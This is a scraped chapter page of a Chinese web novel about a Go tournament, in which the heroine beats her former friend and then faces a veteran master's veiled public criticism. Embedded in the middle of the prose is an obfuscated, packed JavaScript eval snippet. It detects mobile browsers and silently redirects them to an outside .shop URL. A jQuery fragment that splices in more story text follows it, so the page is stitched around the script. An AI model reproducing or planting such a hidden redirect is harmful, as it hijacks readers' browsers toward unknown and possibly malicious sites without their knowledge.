文趣网 > 都市小说 > 她将执棋 > 30. 第 30 章
    下一轮的对手名单,在一个小时后贴了出来。

    严争玉站在公告板前,白色A4纸上用宋体字打印出两个名字:严争玉、沈清歌。

    她们的名字之间,只隔着一个“VS”。

    周围有低低的议论声,目光似有若无地飘过来。

    锦标赛开赛以来最受关注的一场对局,姐妹反目,棋院内战,所有的噱头都齐了。

    她没有停留太久,转身走向选手休息室。

    ......

    休息室里人不多。

    沈清歌坐在最靠里的位置,面前摊着一本棋谱,听到脚步声,她抬起头。

    两人的视线在半空撞上。

    沈清歌的眼神没有回避,她合上棋谱,站起身,

    “明天见。”

    “明天见。”

    严争玉回应。

    擦肩而过时,严争玉闻到一股陌生的香水味,不再是沈清歌以前爱用的那种带着果香的甜味。

    当晚,严争玉没有回棋院,而是去了贺其年安排的公寓。

    客厅的茶几上放着一个牛皮纸文件袋,没有署名。

    她拆开,里面是厚厚一叠棋谱复印件,全是沈清歌近三个月在各类小型比赛和网络对局中的棋局记录,旁边用红笔做了密密麻麻的批注...

    笔迹潦草,不是贺其年的字迹。

    文笔尖锐,直指每一处疏漏、每一次情绪化的冒进。

    最后一页,有人用钢笔写了一行字:

    “她的棋,求胜欲已盖过求道心。破绽不在棋路,在心。”

    字迹有些眼熟。

    严争玉想起在吴忘言屋子里那堆满宣纸上,见过类似的笔锋。

    ......

    她打开台灯,一张一张翻看。

    棋谱上的沈清歌,确实变了。

    以前她的棋风灵动缜密,善于布局,中盘稳健,官子细腻。

    可最近的这些棋局里,她在开局不久就频频主动挑起复杂战斗,甚至在形势不明时强行开劫,追求一击制胜。

    赢的棋,往往赢得险象环生;

    输的棋,则输得溃不成军。

    ......

    严争玉放下棋谱,走到窗边。

    城市的夜景璀璨如星河,她却想起很久以前,在中正棋院那间小小的训练室里,三个女孩头碰头研究同一道死活题。

    苏晚棠总是第一个喊饿,沈清歌会笑着从包里掏出偷偷带来的零食,而她...那时还不存在。

    ......

    次日对局室,气氛明显不同。

    这张台次被安排在正中央,前后左右都加设了观察席,已经坐满了人。

    林见深坐在左侧前排,膝上放着笔记本。

    周慕远也在,坐在稍远些的位置,手里把玩着一支金属钢笔。

    沈清歌先一步入场,仔细将棋笥摆放端正,用白绢擦了擦本就光洁的棋盘表面。

    严争玉在她对面坐下。她没有抬头看严争玉。

    猜先,沈清歌执黑先行。

    第一手,星位。

    寻常的开局。

    接下来十几手,黑棋落子速度极快。

    她放弃了以往擅长的稳健布局,第五手就直接“点入”白棋的星位角,挑起第一个局部战斗。

    严争玉没有回避。

    她选择坚实应对,加固自身,将战斗的规模控制在角部。

    黑棋夺得角地,白棋外势雄厚,且保持着先手效率。

    沈清歌对此似乎并不满意。

    她很快在另一条边路再次“打入”,这次更加深入,棋形也显得更加勉强。

    白棋顺势攻击,黑棋两块棋顿时陷入被动,不得不苦苦求活。

    “太急了。”

    观察席上,林见深低声说了一句。

    严争玉始终很稳。

    利用攻击不断收取实地,同时加强中腹的潜力,并不追求一举歼灭。

    黑棋两块孤棋虽然最终做活,但付出的代价是让白棋全局铁厚,实地也悄然领先。

    ......

    棋局进入中盘,沈清歌盯着棋盘,眼睛一眨不眨。

    劣势下,她非但没有收敛,反而在白棋模样最雄厚的地方,毅然投下一子。

    彻底分断,寻求决战。

    如果成功,可以一举扭转局势;

    如果失败,黑棋将再无翻身余地。

    对局室里响起一片极低的吸气声。

    严争玉抬起眼,看了沈清歌一眼。

    对方嘴唇紧抿,死死盯着那颗刚落下的黑子,仿佛全部的生命都押在了这一手上。

    她垂下视线,将手伸向棋笥,拈起一枚白子,温润的触感让她心神宁静。

    前世今生,她见过太多被胜负欲吞噬的棋手,也包括某一刻的自己。

    白子落下。

    “长”。

    这步棋让黑棋的突入之子并未完全陷入绝境,却也让黑棋无法轻易脱身,必须继续投入子力来经营这块孤棋。

    而周围,全是白棋的铜墙铁壁。

    ......

    接下来的十几手,成了单方面的缠绕攻击。

    白棋步步紧逼,却不下杀手。

    黑棋左冲右突,棋形越来越重,破绽也越来越多。

    然后白棋不断压迫,收取着各种先手便宜,将黑棋往更狭窄、更绝望的路上驱赶。

    最终,严争玉一手精准的“点”,落在黑棋眼位的要害处。

    那条投入重兵、承载了黑棋所有逆转希望的大龙,眼位被破,彻底失去了活路。

    棋盘上,那一串黑子成了僵死的长蛇,再无生气。

    沈清歌捏着棋子的手停在了半空,开始轻微发抖。

    她盯着那块死棋,眼睛一眨不眨,眼眶迅速红了起来,充满了血丝。

    时间一分一秒过去,裁判看向计时器,又看向她。

    对局室里鸦雀无声。

    终于,她松开手指,两颗黑子掉在棋盘上,发出“嗒、嗒”两声轻响。

    投子认负。

    她没有立刻起身,抬起头看向严争玉。

    “你赢了...但中正棋院输了。”

    她的声音压得极低,嘶哑得厉害,

    “我不会让中正棋院落到你这种人手里。”

    说完,她起身快步离开,背影决绝。

    严争玉坐在原地,看着棋盘上那条已然死去的黑龙,和那两颗散落的黑子。

    沈清歌最后那句话,她在打什么算盘...

    ......

    对局室渐渐空了。

    周慕远缓缓收起钢笔起身,意味深长地朝严争玉的方向看了一眼。

    林见深合上笔记本,目光在严争玉身上停留片刻,似乎想说什么,但最终只是微微颔首。

    只剩下严争玉,和满盘终局的棋子。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519917|201938||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    严争玉一颗颗捡起棋盘上的棋子,黑归黑,白归白,分装进棋笥。

    对局室的门被推开,苏晚棠探进半个身子,脸上带着显而易见的焦急,看到严争玉安然坐在那里,才松了口气,快步走进来。

    “争玉,你没事吧?”

    苏晚棠目光扫过空荡荡的棋盘,

    “沈清歌她...”

    “她走了。”

    “我知道,我刚才碰到她了。我问她去哪儿,她说回...中正棋院。”

    严争玉站起身,收拾好自己的东西,没有回应沈清歌的事情,

    “棋下完了。我们走吧。”

    苏晚棠叹了口气。

    “外面...有点不太对劲。”

    她犹豫了一下,还是说了出来,

    “刚才我过来的时候,听到几个其他棋院的领队在议论,说什么‘棋风邪门’、‘不是正路’...好像是在说你。”

    严争玉拉上背包拉链的动作没有停顿,

    “赢了,自然有人议论。输了,议论更多。”

    “不是那种普通的议论!”

    苏晚棠着急地掏出手机划了几下,递到她面前,

    “你看这个,刚推送的。”

    手机屏幕上是一条围棋专业媒体的快讯标题,加粗的黑体字格外刺眼:

    《棋坛宿老陆守拙直言:某些“创新”实为取巧,年轻棋手勿入歧途》。

    下面配着一张陆守拙接受采访的照片,老人眉头紧锁,神情严肃。

    严争玉接过手机,指尖下滑。

    报道内容不长,但措辞犀利。

    “......当被问及对本届锦标赛一些棋手展现的‘复古’或‘融合’风格有何看法时,陆守拙九段直言不讳地表示,围棋发展至今,自有其内在逻辑与科学训练体系。

    “某些棋手片面追求招式上的‘古意’或‘新奇’,缺乏扎实的现代围棋根基与系统训练,看似别出心裁,实则哗众取宠,对棋道本身并无实质贡献,反而可能误导年轻棋手,追求表面花哨而忽视基本功......”

    ......

    报道没有直接点名,但结合上下文和“复古”、“融合”、“本届锦标赛”等关键词,矛头指向谁,一目了然。

    严争玉看完后,将手机递还给苏晚棠,脸上没什么表情。

    “陆老他...怎么会突然说这些?”

    苏晚棠收起手机,忧心忡忡,

    “他德高望重,这话传出去,影响太大了。”

    “他说他的。”

    严争玉背起背包,朝门口走去,

    “我下我的。”

    ......

    走廊里已经没什么人。

    比赛结束,选手和观众大多散去,只有零星的工作人员在收拾场地。

    刚走出对局区,迎面便看到贺其年站在那里。

    他靠在大厅一侧的装饰柱旁,手里拿着一份折叠起来的报纸,似乎已经等了一会儿。

    看到她出来,他直起身。

    苏晚棠下意识地往严争玉身边靠了靠,有些紧张地喊了声:“贺先生。”

    贺其年对她微微颔首,算是打过招呼,视线却始终没有离开严争玉。

    “聊聊?”

    他声音不高。

    严争玉停下脚步,看着他手里的报纸,

    “关于陆守拙的‘高见’?”

    ......